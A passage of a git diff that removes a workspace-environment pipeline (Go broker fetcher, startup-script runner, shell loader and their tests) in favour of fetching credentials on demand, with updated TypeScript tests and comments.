"DATABASE_URL", value: connection }, - { name: "GREETING", value: " two words " }, - { name: "SERVICE_KEY", value: pem }, - ]); - }); -}); - -describe("credential environment layering", () => { - it("applies env.d in glob order over the workspace variables and the process env", async () => { - const directory = stateDir(); - writeWorkspaceEnvironment(directory, { PROJECT_MODE: "analysis", REGION: "eu" }); - writeEnvFile(directory, "00-workspace.sh", [ - exportLine("PROJECT_MODE", "analysis"), - exportLine("REGION", "eu"), - ]); - - const environment = await new CredentialSource(directory).environment(); - expect(environment.PROJECT_MODE).toBe("analysis"); - expect(environment.REGION).toBe("eu"); - // The actor's own environment stays underneath both layers. - expect(environment.PATH).toBe(process.env.PATH); - }); - - it("carries no connection secret, because none is delivered", async () => { - // A turn used to inherit every connected provider's token. An agent now - // asks for one when it needs one, so a leaked transcript of the turn's - // environment holds nothing to rotate. - const directory = stateDir(); - writeWorkspaceEnvironment(directory, { PROJECT_MODE: "analysis" }); - writeEnvFile(directory, "00-workspace.sh", [exportLine("PROJECT_MODE", "analysis")]); - - const environment = await new CredentialSource(directory).environment(); - expect("GH_TOKEN" in environment).toBe(false); - expect("LINEAR_API_KEY" in environment).toBe(false); - }); - - it("degrades to the workspace variables alone when env.d is absent", async () => { - const directory = stateDir(); - writeWorkspaceEnvironment(directory, { PROJECT_MODE: "analysis" }); - const environment = await new CredentialSource(directory).environment(); - expect(environment.PROJECT_MODE).toBe("analysis"); - expect(environment.PATH).toBe(process.env.PATH); - }); - - it("degrades rather than throwing when env.d is unreadable", async () => { - const directory = stateDir(); - // A directory the process cannot list is the same answer as no directory: - // no credentials, and a turn that still runs. - mkdirSync(join(directory, "creds", "env.d"), { recursive: true }); - chmodSync(join(directory, "creds", "env.d"), 0o000); - try { - await expect(new CredentialSource(directory).environment()) - .resolves.toMatchObject({ PATH: process.env.PATH }); - } finally { - chmodSync(join(directory, "creds", "env.d"), 0o700); - } - }); -}); - -/** Records the order the turn touches the credential source in. Both calls are - * overridden rather than spied so the suite never shells out. */ -class OrderedCredentials extends CredentialSource { - public readonly calls: string[] = []; - - public override async token(_provider: Provider): Promise { - this.calls.push("token"); - return null; - } - - public override async environment(): Promise { - this.calls.push("environment"); - return {}; - } -} - -const owner: ConnectionIdentity = { userId: "u", membershipId: "m", role: "owner" }; - -describe("the turn reads the environment once", () => { - it("mints the harness login before it reads the environment", async () => { - const directory = stateDir(); - const store = new ChatSessionStore(join(directory, "chat-session.db")); - const credentials = new OrderedCredentials(directory); - const adapter: AgentAdapter = { - runTurn: () => Promise.resolve({ stopReason: "end_turn" as const }), - }; - const service = new ActorService(store, credentials, () => adapter, "claude"); - const subscriber = new Subscriber("sub", owner, () => undefined); - try { - const session = await service.newSession("/workspace", subscriber); - await service.prompt(session, [{ type: "text", text: "hello" }], subscriber); - } finally { - store.close(); - } - // A turn that abandons ship over the harness login must not pay for the - // environment read first. - expect(credentials.calls).toEqual(["token", "environment"]); - }); -}); diff --git a/packages/box/actor/test/recipe-invocation-guest.test.ts b/packages/box/actor/test/recipe-invocation-guest.test.ts index b7294ea7..38def144 100644 --- a/packages/box/actor/test/recipe-invocation-guest.test.ts +++ b/packages/box/actor/test/recipe-invocation-guest.test.ts @@ -215,11 +215,11 @@ function expectPlanted(box: TermBox, planted: boolean): void { expect(existsSync(join(box.recipeDir, "prompt.txt.delivered"))).toBe(!planted); } -/** The `-e` flags carry the tab's own environment into the new session, - * because a tmux server hands later sessions its own startup snapshot rather - * than the creating client's environment (blitz-term-credentials.test.ts pins - * the rule). These boxes have no creds/env.d, so only the locale pair - * appears — the recipe argv still has to be exact around it. */ +/** The `-e` flags carry the locale into the new session, because a tmux server + * hands later sessions its own startup snapshot rather than the creating + * client's environment (blitz-term-credentials.test.ts pins the rule). The + * locale pair is all blitz-term passes — the recipe argv still has to be exact + * around it. */ function tmuxCreateArgv(session: string): string[] { return [ "-u", "new-session", "-A", "-s", session, "-c", "/workspace", diff --git a/packages/box/actor/test/workspace-environment.test.ts b/packages/box/actor/test/workspace-environment.test.ts deleted file mode 100644 index 6f7d13bb..00000000 --- a/packages/box/actor/test/workspace-environment.test.ts +++ /dev/null @@ -1,96 +0,0 @@ -import { mkdirSync, readFileSync, readdirSync, writeFileSync } from "node:fs"; -import { mkdtempSync } from "node:fs"; -import { tmpdir } from "node:os"; -import { join } from "node:path"; -import { fileURLToPath } from "node:url"; -import { describe, expect, it } from "vitest"; -import { CredentialSource, parseWorkspaceEnvironmentVariables } from "../src/credentials.js"; - -const fixtures = fileURLToPath( - new URL("../../../schema/fixtures/workspace-environment/", import.meta.url), -); - -/** The actor consumes only `env`, so it answers to the fixtures that constrain - * `env`. The startup script and files-ready flag are the broker's to validate. */ -const notActorConcerns = new Set([ - "extra-field.json", - "files-ready-type.json", - "startup-script-type.json", -]); - -function sources(kind: "valid" | "invalid"): Array<[string, string]> { - return readdirSync(join(fixtures, kind)) - .filter((name) => name.endsWith(".json")) - .sort() - .map((name) => [name, readFileSync(join(fixtures, kind, name), "utf8")]); -} - -function stateDir(): string { - return mkdtempSync(join(tmpdir(), "blitz-actor-env-")); -} - -describe("workspace environment state fixtures", () => { - it("accepts every valid response persisted by the box", () => { - for (const [name, source] of sources("valid")) { - expect(() => parseWorkspaceEnvironmentVariables(source), name).not.toThrow(); - } - }); - - it("rejects every invalid environment persisted by the box", () => { - for (const [name, source] of sources("invalid")) { - if (notActorConcerns.has(name)) continue; - expect(() => parseWorkspaceEnvironmentVariables(source), name).toThrow(); - } - }); - - it("reads the variables the broker stored", () => { - const directory = stateDir(); - mkdirSync(join(directory, "env"), { recursive: true }); - writeFileSync(join(directory, "env", "environment.json"), JSON.stringify({ - env: { PROJECT_MODE: "analysis" }, - startupScript: "npm install\n", - filesReady: true, - })); - return expect(new CredentialSource(directory).environment()) - .resolves.toMatchObject({ PROJECT_MODE: "analysis" }); - }); -}); - -describe("workspace environment never gates a prompt", () => { - it("falls back to the process environment when the file is absent", async () => { - const directory = stateDir(); - // Enrolled: the broker is running, it just has not written the file. This - // is the state an enrolled box with no environment configured stays in. - writeFileSync(join(directory, "broker.json"), "{}"); - writeFileSync(join(directory, "origin"), "https://example.test"); - const source = new CredentialSource(directory); - await expect(source.environment()).resolves.toMatchObject({ PATH: process.env.PATH }); - // Waiting happens once; a later prompt must not pay for it again. - const started = Date.now(); - await expect(source.environment()).resolves.toMatchObject({ PATH: process.env.PATH }); - expect(Date.now() - started).toBeLessThan(1_000); - }); - - it("falls back when the stored environment is corrupt", async () => { - const directory = stateDir(); - mkdirSync(join(directory, "env"), { recursive: true }); - writeFileSync(join(directory, "env", "environment.json"), "{ not json"); - await expect(new CredentialSource(directory).environment()) - .resolves.toMatchObject({ PATH: process.env.PATH }); - }); - - it("keeps the last good variables when a later read is torn", async () => { - const directory = stateDir(); - const statePath = join(directory, "env", "environment.json"); - mkdirSync(join(directory, "env"), { recursive: true }); - writeFileSync(statePath, JSON.stringify({ - env: { KEEP: "yes" }, - startupScript: null, - filesReady: true, - })); - const source = new CredentialSource(directory); - await expect(source.environment()).resolves.toMatchObject({ KEEP: "yes" }); - writeFileSync(statePath, '{"env": {"KEEP'); - await expect(source.environment()).resolves.toMatchObject({ KEEP: "yes" }); - }); -}); diff --git a/packages/box/rootfs/etc/profile.d/blitz-creds.sh b/packages/box/rootfs/etc/profile.d/blitz-creds.sh deleted file mode 100644 index 776954f6..00000000 --- a/packages/box/rootfs/etc/profile.d/blitz-creds.sh +++ /dev/null @@ -1,16 +0,0 @@ -_blitz_load_credentials() { - # Only the workspace's own variables live here. Connection secrets are - # pulled at the moment of use with `blitz-cred get`, so a login shell has - # nothing to fetch and nothing to wait for. - for _blitz_env_file in "$BLITZ_STATE_DIR"/creds/env.d/*.sh; do - if [ -r "$_blitz_env_file" ]; then - . "$_blitz_env_file" || : - fi - done - - unset _blitz_env_file - return 0 -} - -_blitz_load_credentials || : -unset -f _blitz_load_credentials 2>/dev/null || : diff --git a/packages/box/rootfs/usr/local/libexec/blitz-codex-session b/packages/box/rootfs/usr/local/libexec/blitz-codex-session index 75de8329..931d7307 100755 --- a/packages/box/rootfs/usr/local/libexec/blitz-codex-session +++ b/packages/box/rootfs/usr/local/libexec/blitz-codex-session @@ -47,8 +47,9 @@ codex_authenticated() { return 0 fi - # 2. A plain API key from creds/env.d. codex reads these itself; its own - # status check ignores them (enable_codex_api_key_env is false there). + # 2. A plain API key the member exported themselves. codex reads these + # itself; its own status check ignores them + # (enable_codex_api_key_env is false there). if [ -n "${CODEX_API_KEY:-}" ] || [ -n "${OPENAI_API_KEY:-}" ]; then return 0 fi diff --git a/packages/box/rootfs/usr/local/libexec/blitz-term b/packages/box/rootfs/usr/local/libexec/blitz-term index e79028da..942e91e0 100644 --- a/packages/box/rootfs/usr/local/libexec/blitz-term +++ b/packages/box/rootfs/usr/local/libexec/blitz-term @@ -64,58 +64,22 @@ if [ "$mode" = ro ]; then exec tmux -u attach-session -r -t "=$session" fi -# The workspace's own variables live in the credential env.d directory, which -# a login shell sources as a whole glob through /etc/profile.d/blitz-creds.sh. -# tmux execs the commands below without a login shell, so the same glob is -# sourced here, in the same order. The chat actor merges the identical files -# (box/actor/src/credentials.ts) so the two surfaces cannot disagree about what -# a variable holds. +# No secret passes through here. Every credential — the workspace's own +# variables included — is pulled at the moment of use with `blitz-cred get +# `, so a tab carries nothing that outlives its grant and a Disconnect +# takes effect without restarting anything. # -# No connection secret passes through here. An agent pulls one when it needs -# one (`blitz-cred get `), so a tab carries no credential and a -# Disconnect takes effect without restarting anything. -# -# Snapshot the exported environment first, so the delta after the glob names -# exactly what env.d contributed. Prefixed plain variables rather than an -# associative array: this script also has to parse under the bash 3.2 that -# macOS still installs, where `declare -A` does not exist. `compgen -e` yields -# valid identifiers only, so the eval builds a valid name every time. -for env_name in $(compgen -e); do - eval "blitz_env_was_$env_name=\${$env_name-}" -done - -for credential_env_file in "$state_dir"/creds/env.d/*.sh; do - [ -r "$credential_env_file" ] && . "$credential_env_file" || : -done -unset credential_env_file - -# Exporting the variables above is not enough. tmux gives a NEW session the -# environment of the client that created it only when that client also STARTS -# the server; every later session copies the server's snapshot instead. A box -# boots a detached `blitz-rc` session first, so the server snapshot is -# whatever bootstrap's `docker exec` held — no LANG, no workspace variable. Tabs then -# inherited that bare snapshot and saw none of the env.d glob. `-e NAME=VALUE` -# writes each variable into the session environment explicitly, so delivery no -# longer depends on who started the server. -# -# The locale pair goes first: ttyd hands blitz-term LANG/LC_ALL, but the delta -# below only carries what env.d changed, and an env.d file that sets either one -# appends a later `-e` that tmux applies last — the same "later file wins" rule -# the sourcing loop follows. +# tmux gives a NEW session the environment of the client that created it only +# when that client also STARTS the server; every later session copies the +# server's snapshot instead. A box boots a detached `blitz-rc` session first, +# so the server snapshot is whatever bootstrap's `docker exec` held — no LANG. +# `-e NAME=VALUE` writes the locale into the session environment explicitly, so +# delivery does not depend on who started the server. ttyd hands blitz-term the +# pair; the fallback covers the callers that do not. # # -e applies on CREATE only. `new-session -A` that attaches to a live session -# leaves that session's environment untouched, which matches today's -# semantics: an attach never re-sourced env.d either. +# leaves that session's environment untouched. session_env=(-e "LANG=${LANG:-C.UTF-8}" -e "LC_ALL=${LC_ALL:-C.UTF-8}") -for env_name in $(compgen -e); do - eval "env_seen=\${blitz_env_was_$env_name+set}" - eval "env_was=\${blitz_env_was_$env_name-}" - eval "env_now=\${$env_name-}" - if [ "$env_seen" != set ] || [ "$env_was" != "$env_now" ]; then - session_env+=(-e "$env_name=$env_now") - fi -done -unset env_name env_seen env_was env_now # Recipe invocation delivery (plans/RECIPES.md Phase 2): a recipe launch # leaves /var/lib/blitz/recipe/{invocation.env,prompt.txt} on the state @@ -127,7 +91,7 @@ unset env_name env_seen env_was env_now # an existing session attaches and never re-injects (has-session decides), # `ro` exited above without consuming, and HARNESS=chat files belong to the # bootstrap chat sender, never to blitz-term. -recipe_dir="${BLITZ_STATE_DIR:-/var/lib/blitz}/recipe" +recipe_dir="$state_dir/recipe" case "$session_type" in claude|codex) if [ -f "$recipe_dir/invocation.env" ] && diff --git a/packages/broker/internal/controlplane/controlplane.go b/packages/broker/internal/controlplane/controlplane.go index e08fb9d4..d0c3b6ca 100644 --- a/packages/broker/internal/controlplane/controlplane.go +++ b/packages/broker/internal/controlplane/controlplane.go @@ -165,14 +165,6 @@ func (c *Client) PostWorkspaceConnectionToken(ctx context.Context, name string) }, nil) } -// GetWorkspaceEnvironment fetches this box's immutable workspace environment. -// The caller owns and must close the returned response body. -func (c *Client) GetWorkspaceEnvironment(ctx context.Context) (*http.Response, error) { - return c.authenticated(ctx, http.MethodGet, func(string) string { - return "/workspaces/self/environment" - }, nil) -} - func (c *Client) FetchFeed(ctx context.Context, etag string) ([]byte, string, bool, error) { credential, err := store.LoadCredential(c.stateDir) if err != nil { diff --git a/packages/broker/internal/workspace/cp.go b/packages/broker/internal/workspace/cp.go index a224a345..3814aefb 100644 --- a/packages/broker/internal/workspace/cp.go +++ b/packages/broker/internal/workspace/cp.go @@ -8,32 +8,10 @@ import ( "fmt" "io" "net/http" - "os" - "path/filepath" "regexp" "strings" - "syscall" ) -const ( - credentialsDirectory = "creds" - environmentDirectory = "env.d" - syncLockFile = ".lock" - // The workspace's own variables are the only thing left in creds/env.d. - // Connection secrets are pulled at the moment of use and never written, so - // nothing else joins this file. The numeric prefix is kept because - // /etc/profile.d/blitz-creds.sh and blitz-term both source the glob, and - // renaming the entry would only churn three readers. - workspaceEnvironmentEntry = "00-workspace.sh" -) - -// EnvironmentDir is where the broker leaves the shell fragment that -// /etc/profile.d/blitz-creds.sh sources. The layout is spelled once, next to -// the writer. -func EnvironmentDir(stateDir string) string { - return filepath.Join(stateDir, credentialsDirectory, environmentDirectory) -} - var ( ErrCredentialDenied = errors.New("this workspace is not connected to that provider") // ErrConnectionNotConfigured means the provider has no credential behind @@ -60,26 +38,6 @@ func AccessRequestID(err error) string { return requested.RequestID } -// withCredentialsLock serializes every writer of creds/env.d. The broker's -// environment loop is the only writer today, but it can run twice across a -// restart, and a half-written env file is a login shell with no variables. -func withCredentialsLock(stateDir string, run func(credsDir string) error) error { - credsDir := filepath.Join(stateDir, credentialsDirectory) - if err := os.MkdirAll(credsDir, 0o700); err != nil { - return err - } - lock, err := os.OpenFile(filepath.Join(credsDir, syncLockFile), os.O_CREATE|os.O_RDWR, 0o600) - if err != nil { - return err - } - defer lock.Close() - if err := syscall.Flock(int(lock.Fd()), syscall.LOCK_EX); err != nil { - return err - } - defer syscall.Flock(int(lock.Fd()), syscall.LOCK_UN) - return run(credsDir) -} - // GitHelper answers git's credential protocol. It is the pull model applied to // a tool that cannot be taught to ask: git wants a password on stdin, so the // helper mints one for that single call and never stores it. diff --git a/packages/broker/internal/workspace/environment.go b/packages/broker/internal/workspace/environment.go deleted file mode 100644 index b33b98d6..00000000 --- a/packages/broker/internal/workspace/environment.go +++ /dev/null @@ -1,311 +0,0 @@ -package workspace - -import ( - "bytes" - "context" - "encoding/json" - "errors" - "fmt" - "io" - "net/http" - "os" - "os/exec" - "path/filepath" - "sort" - "strings" - "time" - - "github.com/blitzdotdev/blitz-core/broker/internal/atomicfile" - "github.com/blitzdotdev/blitz-core/broker/internal/controlplane" - "github.com/blitzdotdev/blitz-core/broker/internal/store" -) - -const ( - workspaceEnvironmentDirectory = "env" - workspaceEnvironmentState = "environment.json" - startupDoneFile = ".startup-done" - startupLogFile = "startup.log" - environmentResponseMaxBytes = 80 * 1024 - environmentMaxKeys = 50 - environmentMaxBytes = 8 * 1024 - startupScriptMaxBytes = 64 * 1024 - // Hard ceiling on the startup script's own process. Anything it - // deliberately leaves behind — a backgrounded dev server — outlives this; - // it only stops a `bash -c` that never returns from holding a process and - // an open log for the life of the box, with no record of why. - startupScriptTimeout = 10 * time.Minute -) - -type WorkspaceEnvironment struct { - Env map[string]string `json:"env"` - StartupScript *string `json:"startupScript"` - FilesReady bool `json:"filesReady"` -} - -type wireWorkspaceEnvironment struct { - Env json.RawMessage `json:"env"` - StartupScript json.RawMessage `json:"startupScript"` - FilesReady *bool `json:"filesReady"` -} - -func decodeWorkspaceEnvironment(data []byte) (WorkspaceEnvironment, error) { - var raw wireWorkspaceEnvironment - decoder := json.NewDecoder(bytes.NewReader(data)) - decoder.DisallowUnknownFields() - if err := decoder.Decode(&raw); err != nil { - return WorkspaceEnvironment{}, errors.New("invalid workspace environment response") - } - if err := decoder.Decode(&struct{}{}); !errors.Is(err, io.EOF) { - return WorkspaceEnvironment{}, errors.New("invalid workspace environment response") - } - if len(raw.Env) == 0 || len(raw.StartupScript) == 0 || raw.FilesReady == nil { - return WorkspaceEnvironment{}, errors.New("invalid workspace environment response") - } - var environment map[string]string - if err := json.Unmarshal(raw.Env, &environment); err != nil || environment == nil { - return WorkspaceEnvironment{}, errors.New("invalid workspace environment response") - } - if len(environment) > environmentMaxKeys { - return WorkspaceEnvironment{}, errors.New("invalid workspace environment response") - } - bytesUsed := 0 - for name, value := range environment { - if !environmentNamePattern.MatchString(name) || strings.ContainsRune(value, 0) { - return WorkspaceEnvironment{}, errors.New("invalid workspace environment response") - } - bytesUsed += len(name) + len(value) - } - if bytesUsed > environmentMaxBytes { - return WorkspaceEnvironment{}, errors.New("invalid workspace environment response") - } - var startupScript *string - if string(raw.StartupScript) != "null" { - var script string - if err := json.Unmarshal(raw.StartupScript, &script); err != nil || len(script) > startupScriptMaxBytes { - return WorkspaceEnvironment{}, errors.New("invalid workspace environment response") - } - startupScript = &script - } - return WorkspaceEnvironment{ - Env: environment, StartupScript: startupScript, FilesReady: *raw.FilesReady, - }, nil -} - -func fetchWorkspaceEnvironment(ctx context.Context, stateDir string, httpClient *http.Client) (WorkspaceEnvironment, error) { - origin, err := store.LoadOrigin(stateDir) - if err != nil { - return WorkspaceEnvironment{}, err - } - client, err := controlplane.New(origin, stateDir, httpClient) - if err != nil { - return WorkspaceEnvironment{}, err - } - response, err := client.GetWorkspaceEnvironment(ctx) - if err != nil { - return WorkspaceEnvironment{}, err - } - defer response.Body.Close() - if response.StatusCode != http.StatusOK { - return WorkspaceEnvironment{}, fmt.Errorf("workspace environment request failed (HTTP %d)", response.StatusCode) - } - data, err := io.ReadAll(io.LimitReader(response.Body, environmentResponseMaxBytes+1)) - if err != nil { - return WorkspaceEnvironment{}, err - } - if len(data) > environmentResponseMaxBytes { - return WorkspaceEnvironment{}, errors.New("workspace environment response is too large") - } - return decodeWorkspaceEnvironment(data) -} - -// environmentFile renders the workspace's configured variables as the shell -// statements /etc/profile.d/blitz-creds.sh sources. Sorted by name so the -// bytes are a pure function of the map, which is what lets a test pin them. -func environmentFile(environment map[string]string) []byte { - names := make([]string, 0, len(environment)) - for name := range environment { - names = append(names, name) - } - sort.Strings(names) - var content strings.Builder - for _, name := range names { - fmt.Fprintf(&content, "export %s=%s\n", name, shellQuote(environment[name])) - } - return []byte(content.String()) -} - -func shellQuote(value string) string { - return "'" + strings.ReplaceAll(value, "'", "'\"'\"'") + "'" -} - -// loadWorkspaceEnvironment reads the stored state. A missing or unreadable -// state file yields the empty environment: the box must still come up. -func loadWorkspaceEnvironment(stateDir string) (WorkspaceEnvironment, error) { - path := filepath.Join(stateDir, workspaceEnvironmentDirectory, workspaceEnvironmentState) - data, err := os.ReadFile(path) - if errors.Is(err, os.ErrNotExist) { - return WorkspaceEnvironment{Env: map[string]string{}}, nil - } - if err != nil { - return WorkspaceEnvironment{}, err - } - return decodeWorkspaceEnvironment(data) -} - -func writeWorkspaceEnvironmentEntry(envDir string, configured map[string]string) error { - path := filepath.Join(envDir, workspaceEnvironmentEntry) - content := environmentFile(configured) - if len(content) == 0 { - if err := os.Remove(path); err != nil && !errors.Is(err, os.ErrNotExist) { - return err - } - return nil - } - return atomicfile.Write(path, content, 0o600) -} - -func storeWorkspaceEnvironment(stateDir string, environment WorkspaceEnvironment) error { - directory := filepath.Join(stateDir, workspaceEnvironmentDirectory) - if err := os.MkdirAll(directory, 0o700); err != nil { - return err - } - data, err := json.Marshal(environment) - if err != nil { - return err - } - if err := atomicfile.Write(filepath.Join(directory, workspaceEnvironmentState), append(data, '\n'), 0o600); err != nil { - return err - } - return withCredentialsLock(stateDir, func(credsDir string) error { - envDir := filepath.Join(credsDir, environmentDirectory) - if err := os.MkdirAll(envDir, 0o700); err != nil { - return err - } - return writeWorkspaceEnvironmentEntry(envDir, environment.Env) - }) -} - -func commandEnvironment(configured map[string]string) []string { - environment := make(map[string]string) - for _, item := range os.Environ() { - name, value, found := strings.Cut(item, "=") - if found { - environment[name] = value - } - } - for name, value := range configured { - environment[name] = value - } - names := make([]string, 0, len(environment)) - for name := range environment { - names = append(names, name) - } - sort.Strings(names) - result := make([]string, 0, len(names)) - for _, name := range names { - result = append(result, name+"="+environment[name]) - } - return result -} - -var closedStartup = func() <-chan struct{} { - done := make(chan struct{}) - close(done) - return done -}() - -// startStartupOnce claims the once-only marker and then starts the workspace's -// startup script in its own goroutine. User code must never sit on the caller's -// path: the deposit loop that calls this also ships vendor credentials, and a -// script that legitimately never exits (a dev server, `tail -f`) would wedge it -// forever. -// -// The script gets its own deadline on top of ctx. Anything it backgrounds on -// purpose is reparented and keeps running past it, so the deadline costs a -// deliberate server nothing; what it buys is that a script that simply never -// returns stops, and says so in its log, instead of holding a process for the -// life of the box. -// -// The returned channel closes when the script exits, and is already closed when -// nothing ran. Only tests wait on it. -func startStartupOnce( - ctx context.Context, - stateDir, workspaceDir string, - environment WorkspaceEnvironment, - timeout time.Duration, -) (<-chan struct{}, error) { - directory := filepath.Join(stateDir, workspaceEnvironmentDirectory) - markerPath := filepath.Join(directory, startupDoneFile) - marker, err := os.OpenFile(markerPath, os.O_CREATE|os.O_EXCL|os.O_WRONLY, 0o600) - if errors.Is(err, os.ErrExist) { - return closedStartup, nil - } - if err != nil { - return closedStartup, err - } - if err := marker.Close(); err != nil { - _ = os.Remove(markerPath) - return closedStartup, err - } - log, err := os.OpenFile(filepath.Join(directory, startupLogFile), os.O_CREATE|os.O_TRUNC|os.O_WRONLY, 0o600) - if err != nil { - _ = os.Remove(markerPath) - return closedStartup, err - } - if environment.StartupScript == nil { - return closedStartup, log.Close() - } - runContext, cancel := context.WithTimeout(ctx, timeout) - command := exec.CommandContext(runContext, "bash", "-c", *environment.StartupScript) - command.Dir = workspaceDir - command.Env = commandEnvironment(environment.Env) - command.Stdout = log - command.Stderr = log - if err := command.Start(); err != nil { - cancel() - _ = log.Close() - return closedStartup, fmt.Errorf("workspace startup script failed to start: %w", err) - } - done := make(chan struct{}) - go func() { - defer close(done) - defer log.Close() - defer cancel() - err := command.Wait() - if err == nil { - return - } - if errors.Is(runContext.Err(), context.DeadlineExceeded) { - fmt.Fprintf(log, "\nblitz: workspace startup script stopped after %s\n", timeout) - return - } - fmt.Fprintf(log, "\nblitz: workspace startup script failed: %v\n", err) - }() - return done, nil -} - -// environmentTick fetches and stores this box's environment, and once the -// workspace files have landed, starts the startup script exactly once. It -// returns true when there is nothing left to converge. The channel closes when -// the startup script exits; callers on the credential path must not wait on it. -func environmentTick( - ctx context.Context, - stateDir, workspaceDir string, - httpClient *http.Client, -) (bool, <-chan struct{}, error) { - environment, err := fetchWorkspaceEnvironment(ctx, stateDir, httpClient) - if err != nil { - return false, closedStartup, err - } - if err := storeWorkspaceEnvironment(stateDir, environment); err != nil { - return false, closedStartup, err - } - if !environment.FilesReady { - return false, closedStartup, nil - } - done, err := startStartupOnce(ctx, stateDir, workspaceDir, environment, startupScriptTimeout) - if err != nil { - return false, done, err - } - return true, done, nil -} diff --git a/packages/broker/internal/workspace/environment_test.go b/packages/broker/internal/workspace/environment_test.go deleted file mode 100644 index 1c6bb841..00000000 --- a/packages/broker/internal/workspace/environment_test.go +++ /dev/null @@ -1,277 +0,0 @@ -package workspace - -import ( - "context" - "encoding/json" - "io" - "net/http" - "net/http/httptest" - "os" - "path/filepath" - "slices" - "strings" - "sync/atomic" - "testing" - "time" - - "github.com/blitzdotdev/blitz-core/broker/internal/store" -) - -func workspaceEnvironmentFixtures(t *testing.T, kind string) []string { - t.Helper() - directory := filepath.Join("..", "..", "..", "schema", "fixtures", "workspace-environment", kind) - entries, err := os.ReadDir(directory) - if err != nil { - t.Fatal(err) - } - fixtures := make([]string, 0, len(entries)) - for _, entry := range entries { - if strings.HasSuffix(entry.Name(), ".json") { - fixtures = append(fixtures, filepath.Join(directory, entry.Name())) - } - } - return fixtures -} - -func TestWorkspaceEnvironmentFixtures(t *testing.T) { - for _, path := range workspaceEnvironmentFixtures(t, "valid") { - data, err := os.ReadFile(path) - if err != nil { - t.Fatal(err) - } - if _, err := decodeWorkspaceEnvironment(data); err != nil { - t.Errorf("valid fixture %s: %v", filepath.Base(path), err) - } - } - for _, path := range workspaceEnvironmentFixtures(t, "invalid") { - data, err := os.ReadFile(path) - if err != nil { - t.Fatal(err) - } - if _, err := decodeWorkspaceEnvironment(data); err == nil { - t.Errorf("invalid fixture %s was accepted", filepath.Base(path)) - } - } -} - -func TestEnvironmentTickStoresConfigAndRunsStartupOnce(t *testing.T) { - stateDir := t.TempDir() - workspaceDir := t.TempDir() - var requests atomic.Int32 - server := httptest.NewServer(http.HandlerFunc(func(writer http.ResponseWriter, request *http.Request) { - if request.Method != http.MethodGet || request.URL.Path != "/workspaces/self/environment" { - t.Errorf("request = %s %s", request.Method, request.URL.Path) - } - if request.Header.Get("Authorization") != "Bearer access" { - t.Errorf("Authorization = %q", request.Header.Get("Authorization")) - } - response := WorkspaceEnvironment{ - Env: map[string]string{ - "GREETING": "it's $HOME\nnext", - "ORDERED": "yes", - }, - StartupScript: func() *string { - script := "printf '%s\\n' \"$GREETING\"\nprintf run >> runs.txt\n" - return &script - }(), - FilesReady: requests.Add(1) > 1, - } - if err := json.NewEncoder(writer).Encode(response); err != nil { - t.Error(err) - } - })) - defer server.Close() - if err := store.SaveCredential(stateDir, store.Credential{ - BoxID: "box", AccessToken: "access", RefreshToken: "refresh", - }); err != nil { - t.Fatal(err) - } - if err := store.SaveOrigin(stateDir, server.URL); err != nil { - t.Fatal(err) - } - - ready, _, err := environmentTick(context.Background(), stateDir, workspaceDir, server.Client()) - if err != nil || ready { - t.Fatalf("first tick ready=%v err=%v", ready, err) - } - envDir := filepath.Join(stateDir, workspaceEnvironmentDirectory) - // The workspace variables ride the env.d pipeline, in the one entry that - // blitz-creds.sh sources. - credsEnvDir := filepath.Join(stateDir, credentialsDirectory, environmentDirectory) - fragment, err := os.ReadFile(filepath.Join(credsEnvDir, workspaceEnvironmentEntry)) - if err != nil { - t.Fatal(err) - } - if string(fragment) != "export GREETING='it'\"'\"'s $HOME\nnext'\nexport ORDERED='yes'\n" { - t.Fatalf("environment fragment = %q", fragment) - } - if _, err := os.Stat(filepath.Join(envDir, startupDoneFile)); !os.IsNotExist(err) { - t.Fatal("startup marker exists before files are ready") - } - - ready, started, err := environmentTick(context.Background(), stateDir, workspaceDir, server.Client()) - if err != nil || !ready { - t.Fatalf("second tick ready=%v err=%v", ready, err) - } - <-started - ready, _, err = environmentTick(context.Background(), stateDir, workspaceDir, server.Client()) - if err != nil || !ready { - t.Fatalf("third tick ready=%v err=%v", ready, err) - } - runs, err := os.ReadFile(filepath.Join(workspaceDir, "runs.txt")) - if err != nil { - t.Fatal(err) - } - if string(runs) != "run" { - t.Fatalf("startup runs = %q", runs) - } - log, err := os.Open(filepath.Join(envDir, startupLogFile)) - if err != nil { - t.Fatal(err) - } - defer log.Close() - logged, err := io.ReadAll(log) - if err != nil { - t.Fatal(err) - } - if string(logged) != "it's $HOME\nnext\n" { - t.Fatalf("startup log = %q", logged) - } - for _, name := range []string{workspaceEnvironmentState, startupDoneFile, startupLogFile} { - info, err := os.Stat(filepath.Join(envDir, name)) - if err != nil { - t.Fatal(err) - } - if info.Mode().Perm() != 0o600 { - t.Errorf("%s mode = %o", name, info.Mode().Perm()) - } - } - assertFileMode(t, filepath.Join(credsEnvDir, workspaceEnvironmentEntry), 0o600) -} - -// A startup script that never exits is a legitimate thing to ask for (a dev -// server). It must not stop the watch loop, which is also the credential -// deposit path. -func TestStartupScriptNeverBlocksTheWatchLoop(t *testing.T) { - stateDir := t.TempDir() - workspaceDir := t.TempDir() - if err := os.MkdirAll(filepath.Join(stateDir, workspaceEnvironmentDirectory), 0o700); err != nil { - t.Fatal(err) - } - ctx, cancel := context.WithCancel(context.Background()) - defer cancel() - script := "printf started > started.txt\nwhile true; do sleep 1; done\n" - deposits := make(chan struct{}, 4) - watcher := NewWatcher(t.TempDir(), func(context.Context, string, []byte) error { - return nil - }) - ticks := make(chan struct{}) - go func() { - defer close(ticks) - if _, err := startStartupOnce(ctx, stateDir, workspaceDir, WorkspaceEnvironment{ - Env: map[string]string{}, StartupScript: &script, - }, startupScriptTimeout); err != nil { - t.Error(err) - } - // The watch loop keeps depositing while the script above still runs. - for range cap(deposits) { - _ = watcher.Tick(ctx) - deposits <- struct{}{} - } - }() - select { - case <-ticks: - case <-time.After(20 * time.Second): - t.Fatal("startup script blocked the deposit path") - } - if len(deposits) != cap(deposits) { - t.Fatalf("deposit ticks = %d", len(deposits)) - } - // The script is still running; it only had to start, not finish. - deadline := time.Now().Add(20 * time.Second) - for { - started, err := os.ReadFile(filepath.Join(workspaceDir, "started.txt")) - if err == nil && string(started) == "started" { - return - } - if time.Now().After(deadline) { - t.Fatalf("startup script did not run: %q %v", started, err) - } - time.Sleep(20 * time.Millisecond) - } -} - -// A variable the workspace dropped must leave the shell fragment. The entry is -// rewritten whole on every tick, so a name that is gone from the map is gone -// from the file; a login shell that kept exporting it would hold a value the -// member deleted in the panel. -func TestWorkspaceEnvironmentEntryDropsRemovedVariables(t *testing.T) { - stateDir := t.TempDir() - if err := 